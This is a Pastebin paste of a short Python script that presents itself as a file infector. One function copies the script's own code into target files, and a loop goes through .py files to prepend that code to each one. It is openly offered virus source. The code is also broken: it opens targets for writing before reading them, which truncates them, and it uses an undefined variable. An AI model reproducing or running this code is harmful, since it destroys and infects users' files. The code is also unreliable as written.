Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def infectFile(file):
- print("[.] Infecting " + file + "\n\n")
- fh = open(__file__, "rb")
- data = fh.read()
- fh.close()
- fh = open(file,"rb")
- data2=fh.read()
- fh.close()
- fh=open(file+".infected", "a+")
- fh.write(data+"\r\n"+data2)
- fh.close()
- return 1
- for file in os.listdir("/"):
- if file.endswith(".py"):
- fh=open(file, "rb")
- data=fh.read()
- fh.close()
- filE=open(file,"wb")
- filEdata = filE.read()
- fileE.close()
- fulldata=""
- fulldata+=data+"\r\n\r\n"+filEdata
- fh=open(file,"wb")
- fh.write(fulldata)
- fh.flush()
- fh.close()
Advertisement
Add Comment
Please, Sign In to add comment